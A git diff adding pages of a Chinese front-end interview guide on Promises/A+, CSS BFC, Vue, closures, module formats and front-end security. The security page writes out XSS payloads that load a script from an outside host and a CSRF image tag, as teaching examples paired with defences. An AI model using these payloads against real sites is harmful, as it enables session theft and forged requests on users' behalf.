// 2.3. Promise 处理程序// Promise 处理程序是一个将 promise 和 value 作为输入的抽象操作,我们将其表示为 [[Resolve]](promise, x)。// 补充说明:这里我们将 resolve 和 reject 也传入进来,因为后续要根据不同的逻辑对 promise 执行 fulfill 或 reject 操作。function promiseResolutionProcedure(promise2, x, resolve, reject) {  // 2.3.1. 如果 promise 和 x 引用的是同一个对象,promise 将以一个 TypeError 作为 reason 来进行 reject。  if (promise2 === x) {    return reject(new TypeError("Chaining cycle detected for promise"));  }
+  // 2.3.2. 如果 x 是一个 promise,根据它的状态:  if (x instanceof Promise) {    // 2.3.2.1. 如果 x 的状态为 pending,promise 必须保持 pending 状态直到 x 的状态变为 fulfilled 或 rejected。    if (x.state === "pending") {      x.then(function (value) {        promiseResolutionProcedure(promise2, value, resolve, reject);      }, reject);    }    // 2.3.2.2. 如果 x 的状态为 fulfilled,那么 promise 也用同样的值来执行 fulfill 操作。    else if (x.state === "fulfilled") {      resolve(x.data);    }    // 2.3.2.3. 如果 x 的状态为 rejected,那么 promise 也用同样的 reason 来执行 reject 操作。    else if (x.state === "rejected") {      reject(x.data);    }    return;  }
+  // 2.3.3. 除此之外,如果 x 是一个对象或者函数,  if (x && (typeof x === "object" || typeof x === "function")) {    // 2.3.3.3.3. 如果 resolvePromise 和 rejectPromise 都被调用,或者多次调用同样的参数,则第一次调用优先,任何之后的调用都将被忽略。    let isCalled = false;
+    try {      // 2.3.3.1. 声明一个 then 变量来保存 then      let then = x.then;      // 2.3.3.3. 如果 then 是一个函数,将 x 作为 this 来调用它,第一个参数为 resolvePromise,第二个参数为 rejectPromise,其中:      if (typeof then === "function") {        then.call(          x,          // 2.3.3.3.1. 假设 resolvePromise 使用一个名为 y 的值来调用,运行 promise 处理程序 [[Resolve]](promise, y)。          function resolvePromise(y) {            // 2.3.3.3.3. 如果 resolvePromise 和 rejectPromise 都被调用,或者多次调用同样的参数,则第一次调用优先,任何之后的调用都将被忽略。            if (isCalled) return;            isCalled = true;            return promiseResolutionProcedure(promise2, y, resolve, reject);          },          // 2.3.3.3.2. 假设 rejectPromise 使用一个名为 r 的 reason 来调用,则用 r 作为 reason 对 promise 执行 reject 操作。          function rejectPromise(r) {            // 2.3.3.3.3. 如果 resolvePromise 和 rejectPromise 都被调用,或者多次调用同样的参数,则第一次调用优先,任何之后的调用都将被忽略。            if (isCalled) return;            isCalled = true;            return reject(r);          }        );      }      // 2.3.3.4. 如果 then 不是一个函数,使用 x 作为值对 promise 执行 fulfill 操作。      else {        resolve(x);      }    } catch (e) {      // 2.3.3.2. 如果检索 x.then 的结果抛出异常 e,使用 e 作为 reason 对 promise 执行 reject 操作。      // 2.3.3.3.4. 如果调用 then 时抛出一个异常 e,      // 2.3.3.3.4.1. 如果 resolvePromise 或 rejectPromise 已经被调用过了,则忽略异常。      if (isCalled) return;      isCalled = true;      // 2.3.3.3.4.2. 否则,使用 e 作为 reason 对 promise 执行 reject 操作。      reject(e);    }  }  // 2.3.4. 如果 x 不是一个对象或者函数,使用 x 作为值对 promise 执行 fulfill 操作。  else {    resolve(x);  }}

4. 完整代码#

function Promise(executor) {  this.state = "pending";  this.onFulfilledCallback = [];  this.onRejectedCallback = [];
+  const self = this;
+  function resolve(value) {    setTimeout(function () {      if (self.state === "pending") {        self.state = "fulfilled";        self.data = value;        for (let i = 0; i < self.onFulfilledCallback.length; i++) {          self.onFulfilledCallback[i](value);        }      }    });  }
+  function reject(reason) {    setTimeout(function () {      if (self.state === "pending") {        self.state = "rejected";        self.data = reason;        for (let i = 0; i < self.onRejectedCallback.length; i++) {          self.onRejectedCallback[i](reason);        }      }    });  }
+  try {    executor(resolve, reject);  } catch (reason) {    reject(reason);  }}
+Promise.prototype.then = function (onFulfilled, onRejected) {  const self = this;
+  let promise2;
+  return (promise2 = new Promise(function (resolve, reject) {    if (self.state === "fulfilled") {      setTimeout(function () {        if (typeof onFulfilled === "function") {          try {            const x = onFulfilled(self.data);
+            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            reject(e);          }        } else {          resolve(self.data);        }      });    } else if (self.state === "rejected") {      setTimeout(function () {        if (typeof onRejected === "function") {          try {            const x = onRejected(self.data);
+            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            reject(e);          }        } else {          reject(self.data);        }      });    } else if (self.state === "pending") {      self.onFulfilledCallback.push(function (promise1Value) {        if (typeof onFulfilled === "function") {          try {            const x = onFulfilled(self.data);
+            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            reject(e);          }        } else {          resolve(promise1Value);        }      });
+      self.onRejectedCallback.push(function (promise1Reason) {        if (typeof onRejected === "function") {          try {            const x = onRejected(self.data);
+            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            reject(e);          }        } else {          reject(promise1Reason);        }      });    }  }));};
+function promiseResolutionProcedure(promise2, x, resolve, reject) {  if (promise2 === x) {    return reject(new TypeError("Chaining cycle detected for promise"));  }
+  if (x instanceof Promise) {    if (x.state === "pending") {      x.then(function (value) {        promiseResolutionProcedure(promise2, value, resolve, reject);      }, reject);    } else if (x.state === "fulfilled") {      resolve(x.data);    } else if (x.state === "rejected") {      reject(x.data);    }    return;  }
+  if (x && (typeof x === "object" || typeof x === "function")) {    let isCalled = false;
+    try {      let then = x.then;
+      if (typeof then === "function") {        then.call(          x,          function resolvePromise(y) {            if (isCalled) return;            isCalled = true;            return promiseResolutionProcedure(promise2, y, resolve, reject);          },          function rejectPromise(r) {            if (isCalled) return;            isCalled = true;            return reject(r);          }        );      } else {        resolve(x);      }    } catch (e) {      if (isCalled) return;      isCalled = true;      reject(e);    }  } else {    resolve(x);  }}
+module.exports = Promise;

测试代码#

开头我们就说过,Promises/A+ 规范配套了成熟的测试用例,我们必须全部通过才算代码编写正确。下面我们就用 872 个官方测试用例来测试一下我们的完整代码是否符合 Promises/A+ 规范。

1. 暴露一个简单的适配器接口#

// test.js
+// 导入我们写好的 promiseconst Promise = require("./promise.js");
+// 根据官方文档暴露一个 deferred 方法,返回一个包含 promise、resolve、reject 的对象Promise.deferred = function () {  const obj = {};
+  obj.promise = new Promise(function (resolve, reject) {    obj.resolve = resolve;    obj.reject = reject;  });
+  return obj;};
+module.exports = Promise;

2. 运行命令#

$ npx promises-aplus-tests test.js

3. 测试结果#

测试结果

完美通过!

参考资料#

  1. Promises/A+
  2. Promises/A+ Compliance Test Suite
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/css-bfc/index.html b/book1/css-bfc/index.html new file mode 100644 index 0000000..9e6cbc0 --- /dev/null +++ b/book1/css-bfc/index.html @@ -0,0 +1,17 @@ + + + + + + +BFC 的形成和作用 | HZFE - 剑指前端 Offer + + + + +
+

BFC 的形成和作用

相关问题#

  • BFC 有什么用,如何触发
  • 谈谈你对 BFC 的理解

回答关键点#

盒模型 视觉格式化模型 包含块 正常流

BFC 是什么

BFC 全称为 block formatting context,中文为“块级格式化上下文”。它是一个只有块级盒子参与的独立块级渲染区域,它规定了内部的块级盒子如何布局,且与区域外部无关。

BFC 有什么用

  • 修复浮动元素造成的高度塌陷问题。
  • 避免非期望的外边距折叠。
  • 实现灵活健壮的自适应布局。

触发 BFC 的常见条件

  • <html> 根元素。
  • float 的值不为 none。
  • position 的值不为 relative 或 static。
  • overflow 的值不为 visible 或 clip(除了根元素)。
  • display 的值为 table-cell,table-caption,或 inline-block 中的任意一个。
  • display 的值为 flow-root,flow-root,或 list-item。
  • flex items,即 display 的值为 flex 或 inline-flex 的元素的直接子元素(该子元素 display 不为 flex,grid,或 table)。
  • grid items,即 display 的值为 grid 或 inline-grid 的元素的直接子元素(该子元素 display 不为 flex,grid,或 table)。
  • contain 的值为 layout,content,paint,或 strict 中的任意一个。
  • column-span 设置为 all 的元素。

提示display: flow-rootcontain: layout 等是无副作用的,可在不影响已有布局的情况下触发 BFC。

知识点深入#

1. 前置知识点#

盒模型(box model)

盒模型描述了一个由元素生成的矩形盒子,视觉格式化模型决定这些盒子的大小、位置以及属性(例如颜色、背景、边框尺寸等等)。

盒子的具体构成如下图所示:

Box model

术语解析

由于视觉格式化模型描述中,有许多相近的术语,在此先行列出解释。

  • box(盒子):一个抽象概念,在画布上占据一块空间,通常由元素(element)生成。一个元素可能生成多个盒子(如伪元素、list-item 元素)。
  • principal box(主要盒子):元素生成的多个盒子中,用来包含它的后代盒子和它生成的内容的盒子,也是参与任何定位方案的盒子。
  • block-level box(块级盒子):参与 BFC 布局的盒子,通常由块级元素生成。
  • block container box(块容器):在 CSS2.2 中,除了 tabel box 或替换元素的主要盒子,一个块级盒子也是块容器,但不是所有的块容器都是块级盒子(如非替换内联块盒子)。块容器主要侧重于其子元素的定位、布局。
  • block box(块盒子):如果一个块级盒子同时也是块容器,则可以称作块盒子。
  • block(块):当没有歧义时,作为 block box, block-level box 或 block container box 的简写。

(注:盒子有“块盒子”和“块级盒子”,元素只有“块级元素”,而没有“块元素”)

2. 视觉格式化模型(visual formatting model)#

视觉格式化模型描述了用户代理(如浏览器)在可视化媒体(如显示器)上处理文档树(document tree)的过程。下面各小节是视觉格式化模型中与 BFC 强相关的描述:

2.1 包含块(containing block)#

大部分情况下,包含块是一个由元素最近的祖先块容器的内容区域(content area)确定的矩形区域,包含块本身不是盒子,是一个矩形区域。元素的大小,位置,及偏移等布局信息根据包含块的尺寸进行计算。

2.2 正常流(normal flow)#

正常流是浏览器的默认布局方式。在正常流中的盒子,属于 BFC,IFC,或其他格式化上下文之一。

2.3 格式化上下文(formatting context)#

格式化上下文是一系列相关盒子进行布局的环境。不同的格式化上下文有不同的布局规则。目前常见的格式化上下文有以下这些:

  • 块级格式化上下文(BFC,block formatting context)。
  • 内联格式化上下文(IFC,inline formatting context)。
  • 弹性格式化上下文(FFC,flex formatting context),在 CSS3 中定义。
  • 栅格格式化上下文(GFC,grid formatting context),在 CSS3 中定义。

2.4 独立格式化上下文(independent formatting context)#

一个盒子要么建立一个新的独立格式化上下文,要么延续其包含块的格式化上下文。除了特殊说明,建立新的格式化上下文就是在建立一个独立格式化上下文。

当一个盒子建立一个独立格式化上下文时,它创建了一个新的独立布局环境。除了通过改变盒子本身的大小,盒子内部的后代不会影响格式化上下文外部的规则和内容,反之亦然。

2.5 块级格式化上下文规范及解析#

根据 W3C CSS2.1 视觉格式化模型一章的定义,BFC 相关规范描述如下:

  1. 浮动元素,绝对定位元素,不是块级盒子的块级容器(如 inline-block,table-cells,table-captions)以及 overflow 值不为 visible 的块级盒子,都会为他们的内容创建 BFC(注:触发 BFC 的条件)。
  2. 在 BFC 中,盒子从包含块的顶部开始,在垂直方向上一个接一个的排列。相邻盒子之间的垂直间隙由它们的 margin 值决定。在同一个 BFC 中,相邻块级盒子的垂直外边距会合并(注:参与 BFC 布局的都是块级元素)。
  3. 在 BFC 中,每一个盒子的左外边缘(margin-left)会触碰到包含块的左边缘。即使是存在浮动元素也是如此,除非该盒子建立了一个新的 BFC。

结合规范第三点与独立格式化上下文的知识,我们可以有以下推论:

  1. BFC 内外互不影响。
    1. BFC 包含内部的浮动(解决内部浮动元素导致的高度塌陷)。
    2. BFC 排斥外部的浮动(触发 BFC 的元素不会和外部的浮动元素重叠)。
    3. 外边距折叠的计算不能跨越 BFC 的边界。
  2. 各自创建了 BFC 的兄弟元素互不影响(注:在水平方向上多个浮动元素加一个或零个触发 BFC 的元素可以形成多列布局)。

通过 BFC 可以实现灵活健壮的自适应布局,在一行中达到类似 flexbox 的效果,示例如下:

两栏自适应布局

two-col

多列自适应布局

multi-col

参考资料#

  1. 块级格式化上下文
  2. 包含块:MDN
  3. 包含块:W3C
  4. 视觉格式化模型:MDN
  5. 视觉格式化模型:W3C
  6. 盒模型:MDN
  7. 盒模型:W3C
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/engineer-webpack-workflow/index.html b/book1/engineer-webpack-workflow/index.html new file mode 100644 index 0000000..76389e3 --- /dev/null +++ b/book1/engineer-webpack-workflow/index.html @@ -0,0 +1,17 @@ + + + + + + +engineer-webpack-workflow | HZFE - 剑指前端 Offer + + + + + + + + + \ No newline at end of file diff --git a/book1/frame-vue-computed-watch/index.html b/book1/frame-vue-computed-watch/index.html new file mode 100644 index 0000000..9fefbcd --- /dev/null +++ b/book1/frame-vue-computed-watch/index.html @@ -0,0 +1,17 @@ + + + + + + +Vue 的 computed 和 watch 的区别 | HZFE - 剑指前端 Offer + + + + +
+

Vue 的 computed 和 watch 的区别

相关问题#

  • computed 和 watch 的实现原理
  • computed 和 watch 的适用场景

回答关键点#

响应变化 属性 侦听

computed 是模板表达式的声明式描述,会创建新的响应式数据。而 watch 是响应式数据的自定义侦听器,用于响应数据的变化。除此之外,computed 还具有可缓存,可依赖多个属性,getter 函数无副作用等特点。watch 则更适用于异步或开销大的操作

知识点深入#

1. 实现原理#

在了解 Vue 数据双向绑定的基础上,computed 等同于为属性设置 getter 函数(也可设置 setter),而 watch 等同于为属性的 setter 设置回调函数、监听深度 deep 及响应速度 immediate。下面简单讲解下两者的实现原理,具体细节可以参考源码

1.1 computed 原理#

主要分为四个阶段

computed四个阶段

  1. 初始化:为 computed 属性创建 lazy watcher(此处 watcher 指双向绑定中的监听器,下同)。
  2. 首次模板渲染:渲染 watcher 检测到 computed 属性时,会调用 computed 属性的 getter 方法,而 computed 属性的 getter 方法会调用依赖属性的 getter,从而形成链式调用,同时保存引用关系用于更新。取得计算结果后 lazy watcher 会将结果缓存,并返回给渲染 watcher 进行模板渲染。
  3. 多次模板渲染:直接取 lazy watcher 中的缓存值给到渲染 watcher 进行渲染。
  4. 依赖属性更新:根据首次模板渲染阶段构建的依赖关系向上通知 lazy watcher 进行重新计算,缓存计算结果并通知渲染 watcher 重新渲染更新页面。

1.2 watch 原理#

watch 本质上是为每个监听属性 setter 创建了一个 watcher,当被监听的属性更新时,调用传入的回调函数。常见的配置选项有 deep 和 immediate,对应原理如下:

  1. deep:深度监听对象,为对象的每一个属性创建一个 watcher,从而确保对象的每一个属性更新时都会触发传入的回调函数。主要原因在于对象属于引用类型,单个属性的更新并不会触发对象 setter,因此引入 deep 能够很好地解决监听对象的问题。同时也会引入判断机制,确保在多个属性更新时回调函数仅触发一次,避免性能浪费。
  2. immediate:在初始化时直接调用回调函数,可以通过在 created 阶段手动调用回调函数实现相同的效果。

2. 适用场景#

  • computed:需要处理复杂逻辑的模板表达式。
  • watch:需要执行异步或开销较大的操作。

从表现上看,computed 会创建新的属性,而 watch 可以通过将属性设置在 data 中,再监听依赖属性变化,调用 handler 方法更新属性的方式达到同样的效果。因此不难得出 computed 的使用场景可以被 watch 覆盖这一结论。但在具体的使用上还是优先考虑 computed,因为相同场景下 watch 所需的代码量和性能开销一般来说会比 computed 大,具体可以参照 computed vs watched。在 computed 无法满足需求的情况下再考虑使用 watch,也可以有效避免 watch 滥用,提升性能。

3. Vue3 与 Vue2 区别#

Vue3 中 computed 和 watch 的原理以及在 Options API 中的使用方式和 Vue2 保持一致。但在 Vue3 的新特性组合式(Composition)API 中,使用方式和功能相比 Vue2 有了明显差别。使用方式由原来在组件中声明改为直接从 Vue 中导入使用,各自的调用方式和参数也发生了改变,功能更加多样,同时 Vue3 还引入了 watchEffect 作为 watch 的补充,以求用更简洁的代码来覆盖更广的使用场景。具体使用参考官方文档

参考资料#

  1. Vuejs computed
  2. Vuejs 源码
  3. Vue3 组合式 api
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/frame-vue-data-binding/index.html b/book1/frame-vue-data-binding/index.html new file mode 100644 index 0000000..cfb4a83 --- /dev/null +++ b/book1/frame-vue-data-binding/index.html @@ -0,0 +1,17 @@ + + + + + + +frame-vue-data-binding | HZFE - 剑指前端 Offer + + + + + + + + + \ No newline at end of file diff --git a/book1/js-closures/index.html b/book1/js-closures/index.html new file mode 100644 index 0000000..daf2935 --- /dev/null +++ b/book1/js-closures/index.html @@ -0,0 +1,19 @@ + + + + + + +闭包的作用和原理 | HZFE - 剑指前端 Offer + + + + +
+

闭包的作用和原理

相关问题#

  • 什么是闭包
  • 闭包的应用

回答关键点#

作用域 引用 函数

作用:能够在函数定义的作用域外,使用函数定义作用域内的局部变量,并且不会污染全局。

原理:基于词法作用域链和垃圾回收机制,通过维持函数作用域的引用,让函数作用域可以在当前作用域外被访问到。

知识点深入#

1. 作用域#

  • 作用域:用于确定在何处以及如何查找变量(标识符)的一套规则。
  • 词法作用域:词法作用域是定义在词法阶段的作用域。词法作用域是由写代码时将代码和块作用域写在哪里来决定的,因此当词法作用域处理代码是会保持作用域不变(大部分情况)。
  • 块作用域:指的是变量和函数不仅可以属于所处的作用域,也可以属于某个代码块(通常用{}包裹)。常见的块级作用域有 with,try/catch,let,const 等。
  • 函数作用域:属于这个函数的全部变量都可以在整个函数范围内使用及复用(包括嵌套作用域)。
  • 作用域链:查找变量时,先从当前作用域开始查找,如果没有找到,就会到父级(词法层面上的父级)作用域中查找,一直找到全局作用域。作用域链正是包含这些作用域的列表。

2. 什么是闭包#

当函数可以记住并访问所在的词法作用域时,就产生了闭包,即使是函数在当前词法作用域外执行。 ——《你不知道的 JavaScript》

function foo() {  var a = "hzfe";  function bar() {    console.log(a);  }  return bar;}
+var baz = foo();baz(); // hzfe

在这个例子中,函数 bar 作为返回值返回后,在自己定义的词法作用域以外的地方执行。一般来说,在函数 foo 执行后,通常会期待函数 foo 的整个内部作用域被引擎回收机制销毁。而闭包可以阻止这件事情的发生。事实上内部作用域依然存在,因为函数 bar 本身在使用,所以并不会被回收。

在 JavaScript 中,每当创建一个函数,闭包就会在函数创建的同时被创建出来

3. 闭包的应用#

无论何时何地,如果将函数作为返回值,就会看到闭包在这些函数中的应用。在定时器,事件监听器,ajax 请求,跨窗口通信,web workers 或者任何其他的异步/同步任务中,只要使用了回调函数,实际上就是使用闭包。使用闭包的例子可以参考实现节流防抖函数

TIPS: 闭包与执行函数关系

var a = "hzfe";(function IIFE() {  console.log(a);})();

通常认为立即执行函数(IIFE)是典型的观察闭包的典型例子,但严格来说并不是。虽然创建了闭包,但没有体现出闭包的作用。因为函数并不是在它本身的词法作用域以外执行的。 +它在定义时所在的作用域中执行,而非外部作用域。

参考资料#

  1. 闭包 MDN
  2. 垃圾回收机制
  3. 你不知道的 JavaScript(上卷)
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/js-module-specs/index.html b/book1/js-module-specs/index.html new file mode 100644 index 0000000..614a821 --- /dev/null +++ b/book1/js-module-specs/index.html @@ -0,0 +1,32 @@ + + + + + + +前端模块化规范 | HZFE - 剑指前端 Offer + + + + +
+

前端模块化规范

相关问题#

  • JavaScript 主要有哪几种模块化规范
  • AMD / CMD 有什么异同
  • ESM 是什么
  • 模块化解决了什么问题/痛点

回答关键点#

CommonJS AMD CMD UMD ESM

  • CommonJS[1]: 主要是 Node.js 使用,通过 require 同步加载模块,exports 导出内容。
  • AMD[2]: 主要是浏览器端使用,通过 define 定义模块和依赖,require 异步加载模块,推崇依赖前置
  • CMD[3]: 和 AMD 比较类似,主要是浏览器端使用,通过 require 异步加载模块,exports 导出内容,推崇依赖就近
  • UMD[4]: 通用模块规范,是 CommonJS、AMD 两个规范的大融合,是跨平台的解决方案。
  • ESM[5]: 官方模块化规范,现代浏览器原生支持,通过 import 异步加载模块,export 导出内容。

知识点深入#

1. 为什么需要模块化和模块化规范#

模块化可以解决代码之间的变量、函数、对象等命名的冲突/污染问题,良好的模块化设计可以降低代码之间的耦合关系,提高代码的可维护性、可扩展性以及复用性。

模块化规范的作用是为了规范 JavaScript 模块的定义和加载机制,以统一的方式导出和加载模块,降低学习使用成本,提高开发效率。

2. 各种模块化规范的细节#

2.1 CommonJS#

CommonJS 主要是 Node.js 使用,通过 require 同步加载模块,exports 导出内容。在 CommonJS 规范下,每一个 JS 文件都是独立的模块,每个模块都有独立的作用域,模块里的本地变量都是私有的。

示例

// hzfe.jsconst hzfeMember = 17;const getHZFEMember = () => {  return `HZFE Member: ${hzfeMember}`;};module.exports.getHZFEMember = getHZFEMember;
+// index.jsconst hzfe = require("./hzfe.js");console.log(hzfe.getHZFEMember()); // HZFE Member: 17

使用场景

CommonJS 主要在服务端(如:Node.js)使用,也可通过打包工具打包之后在浏览器端使用。

加载方式

CommonJS 通过同步的方式加载模块,首次加载会缓存结果,后续加载则是直接读取缓存结果。

优缺点

优点

  • 简单易用
  • 可以在任意位置 require 模块
  • 支持循环依赖

缺点

  • 同步的加载方式不适用于浏览器端
  • 浏览器端使用需要打包
  • 难以支持模块静态分析

2.2 AMD (Asynchronous Module Definition)#

AMD,即异步模块定义。AMD 定义了一套 JavaScript 模块依赖异步加载标准,用来解决浏览器端模块加载的问题。AMD 主要是浏览器端使用,通过 define 定义模块和依赖,require 异步加载模块,推崇依赖前置

AMD 模块通过 define 函数定义在闭包中:

/** * define * @param id 模块名 * @param dependencies 依赖列表 * @param factory 模块的具体内容/具体实现 */define(id?: string, dependencies?: string[], factory: Function | Object);

示例

// hzfe.jsdefine("hzfe", [], function () {  const hzfeMember = 17;  const getHZFEMember = () => {    return `HZFE Member: ${hzfeMember}`;  };
+  return {    getHZFEMember,  };});
+// index.jsrequire(["hzfe"], function (hzfe) {  // 依赖前置  console.log(hzfe.getHZFEMember()); // HZFE Member: 17});

使用场景

AMD 主要在浏览器端中使用,通过符合 AMD 标准的 JavaScript 库(如:RequireJs)加载模块。

加载方式

AMD 通过异步的方式加载模块,每加载一个模块实际就是加载对应的 JS 文件。

优缺点

优点

  • 依赖异步加载,更快的启动速度
  • 支持循环依赖
  • 支持插件

缺点

  • 语法相对复杂
  • 依赖加载器
  • 难以支持模块静态分析

具体实现

2.3 CMD (Common Module Definition)#

CMD,即通用模块定义。CMD 定义了一套 JavaScript 模块依赖异步加载标准,用来解决浏览器端模块加载的问题。CMD 主要是浏览器端使用,通过 define 定义模块和依赖,require 异步加载模块,推崇依赖就近

CMD 模块通过 define 函数定义在闭包中:

/** * define * @param id 模块名 * @param dependencies 依赖列表 * @param factory 模块的具体内容/具体实现 */define(id?: string, dependencies?: string[], factory: Function | Object);

示例

// hzfe.jsdefine("hzfe", [], function () {  const hzfeMember = 17;  const getHZFEMember = () => {    return `HZFE Member: ${hzfeMember}`;  };
+  exports.getHZFEMember = getHZFEMember;});
+// index.jsdefine(function (require, exports) {  const hzfe = require("hzfe"); // 依赖就近  console.log(hzfe.getHZFEMember()); // HZFE Member: 17});

使用场景

CMD 主要在浏览器端中使用,通过符合 CMD 标准的 JavaScript 库(如 sea.js)加载模块。

加载方式

CMD 通过异步的方式加载模块,每加载一个模块实际就是加载对应的 JS 文件。

优缺点

优点

  • 依赖异步加载,更快的启动速度
  • 支持循环依赖
  • 依赖就近
  • 与 CommonJS 保持很大的兼容性

缺点

  • 语法相对复杂
  • 依赖加载器
  • 难以支持模块静态分析

具体实现

2.4 UMD (Universal Module Definition)#

UMD,即通用模块定义。UMD 主要为了解决 CommonJS 和 AMD 规范下的代码不通用的问题,同时还支持将模块挂载到全局,是跨平台的解决方案。

示例

// hzfe.js(function (root, factory) {  if (typeof define === "function" && define.amd) {    // AMD    define(["exports", "hzfe"], factory);  } else if (    typeof exports === "object" &&    typeof exports.nodeName !== "string"  ) {    // CommonJS    factory(exports, require("hzfe"));  } else {    // Browser globals    factory((root.commonJsStrict = {}), root.hzfe);  }})(typeof self !== "undefined" ? self : this, function (exports, b) {  const hzfeMember = 17;  const getHZFEMember = () => {    return `HZFE Member: ${hzfeMember}`;  };
+  exports.getHZFEMember = getHZFEMember;});
+// index.jsconst hzfe = require("./hzfe.js");console.log(hzfe.getHZFEMember()); // HZFE Member: 17

使用场景

UMD 可同时在服务器端和浏览器端使用。

加载方式

UMD 加载模块的方式取决于所处的环境,Node.js 同步加载,浏览器端异步加载。

优缺点

优点

  • 跨平台兼容

缺点

  • 代码量稍大

2.5 ESM (ECMAScript Module)#

ESM,即 ESModule、ECMAScript Module。官方模块化规范,现代浏览器原生支持,通过 import 加载模块,export 导出内容。 +示例

// hzfe.jsconst hzfeMember = 17;export const getHZFEMember = () => {  return `HZFE Member: ${hzfeMember}`;};
+// index.jsimport * as hzfe from "./hzfe.js";console.log(hzfe.getHZFEMember()); // HZFE Member: 17

使用场景

ESM 在支持的浏览器环境下可以直接使用,在不支持的端需要编译/打包后使用。

加载方式

ESM 加载模块的方式同样取决于所处的环境,Node.js 同步加载,浏览器端异步加载。

优缺点

优点

  • 支持同步/异步加载
  • 语法简单
  • 支持模块静态分析
  • 支持循环引用

缺点

  • 兼容性不佳

扩展阅读#

1. 静态分析#

静态程序分析(Static program analysis)是指在不运行程序的条件下,进行程序分析的方法。 静态程序分析 - Wiki

简而言之,前文里提到的静态分析就是指在运行代码之前就可判断出代码内有哪些代码使用到了,哪些没有使用到。

2. 模块化与工程化:webpack#

webpack 同时支持 CommonJS、AMD 和 ESM 三种模块化规范的打包。根据不同规范 webpack 会将模块处理成不同的产物。

CommonJS

(function (module, exports) {  const hzfeMember = 17;  const getHZFEMember = () => {    return `HZFE Member: ${hzfeMember}`;  };
+  module.exports = getHZFEMember;});

AMD

(function (module, exports, __webpack_require__) {  var __WEBPACK_AMD_DEFINE_ARRAY__, // 依赖列表    __WEBPACK_AMD_DEFINE_RESULT__; // factory 返回值
+  __WEBPACK_AMD_DEFINE_ARRAY__ = [];
+  // 执行 factory  __WEBPACK_AMD_DEFINE_RESULT__ = function () {    const hzfeMember = 17;    const getHZFEMember = () => {      return `HZFE Member: ${hzfeMember}`;    };
+    return {      getHZFEMember,    };  }.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__);
+  __WEBPACK_AMD_DEFINE_RESULT__ !== undefined &&    (module.exports = __WEBPACK_AMD_DEFINE_RESULT__);});

ESM

(function (module, __webpack_exports__, __webpack_require__) {  __webpack_require__.r(__webpack_exports__);  __webpack_require__.d(__webpack_exports__, "getHZFEMember", function () {    return getHZFEMember;  });
+  const hzfeMember = 17;  const getHZFEMember = () => {    return `HZFE Member: ${hzfeMember}`;  };});

3. 模块化与工程化:Tree Shaking#

Tree shaking 是一个通常用于描述移除 JavaScript 上下文中的未引用代码(dead-code)行为的术语。它依赖于 ES2015 中的 import 和 export 语句,用来检测代码模块是否被导出、导入,且被 JavaScript 文件使用。 Tree Shaking - MDN

简单来说,Tree Shaking 是一种依赖 ESM 模块静态分析实现的功能,它可以在编译时安全的移除代码中未使用的部分(webpack 5 对 CommonJS 也进行了支持,在此不详细展开)。

参考资料#

  1. Modules: CommonJS modules
  2. Asynchronous module definition
  3. Common Module Definition
  4. Universal Module Definition
  5. Modules: ECMAScript modules
  6. Module Semantics
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/network-security/index.html b/book1/network-security/index.html new file mode 100644 index 0000000..77888d0 --- /dev/null +++ b/book1/network-security/index.html @@ -0,0 +1,17 @@ + + + + + + +前端安全 | HZFE - 剑指前端 Offer + + + + +
+

前端安全

相关问题#

  • 如何防范 XSS / CSRF 攻击
  • 说说 HTTPS 中间人攻击,及其如何防范

回答关键点#

XSS CSRF 中间人攻击

  • XSS(跨站脚本攻击) 是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。常见类型有:
    • 反射型(非持久性)
    • 存储型(持久性)
    • DOM 型
  • CSRF(跨站请求伪造) 是指攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作。
  • 中间人攻击(MITM) 是指攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改。

知识点深入#

1. XSS(跨站脚本攻击)#

1.1 反射型(非持久性)#

原理:攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。

要点

  • 通过 URL 插入恶意代码。
  • 有服务端参与。
  • 需要用户访问特定链接。

例子

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>

被攻击网站服务器收到请求后,未经处理直接将 URL 的 name 字段直接拼接至前端模板中,并返回数据。

被害者在不知情的情况下,执行了攻击者注入的脚本(可以通过这个获取对方的 Cookie 等)。

1.2 存储型(持久性)#

原理:攻击者将注入型脚本提交至被攻击网站数据库中,当其他用户浏览器请求数据时,注入脚本从服务器返回并执行。

要点

  • 恶意代码存储在目标网站服务器上。
  • 有服务端参与。
  • 只要用户访问被注入恶意脚本的页面时,就会被攻击。

例子

攻击者在目标网站留言板中提交了<script src="http://a.com/attack.js"/>

目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过 innerHTML 渲染到页面中。

其他用户在访问该留言板时,会自动执行攻击者注入脚本。

1.3 DOM 型#

原理:攻击者通过在 URL 插入恶意代码,客户端脚本取出 URL 中的恶意代码并执行。

要点

  • 在客户端发生。

例子

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>

被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中。

被害者在不知情的情况下,执行了攻击者注入的脚本。

1.4 防范 XSS#

  • 对于外部传入的内容进行充分转义。
  • 开启 CSP(Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,降低 XSS 风险。
  • 设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取。

2. CSRF(跨站请求伪造)#

原理:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。

要点

  • 利用浏览器在发送 HTTP 请求时会自动带上 Cookie 的原理,冒用受害者身份请求。
  • 攻击一般发生在第三方网站上。
  • 攻击者只能“冒用”受害者的身份凭证,并不能获取。
  • 跨站请求有多种方式,常见的有图片 URL,超链接,Form 提交等。

例子

攻击者在第三方网站上放置一个如下的 img

<img src="http://hzfe.org/article/delete" />

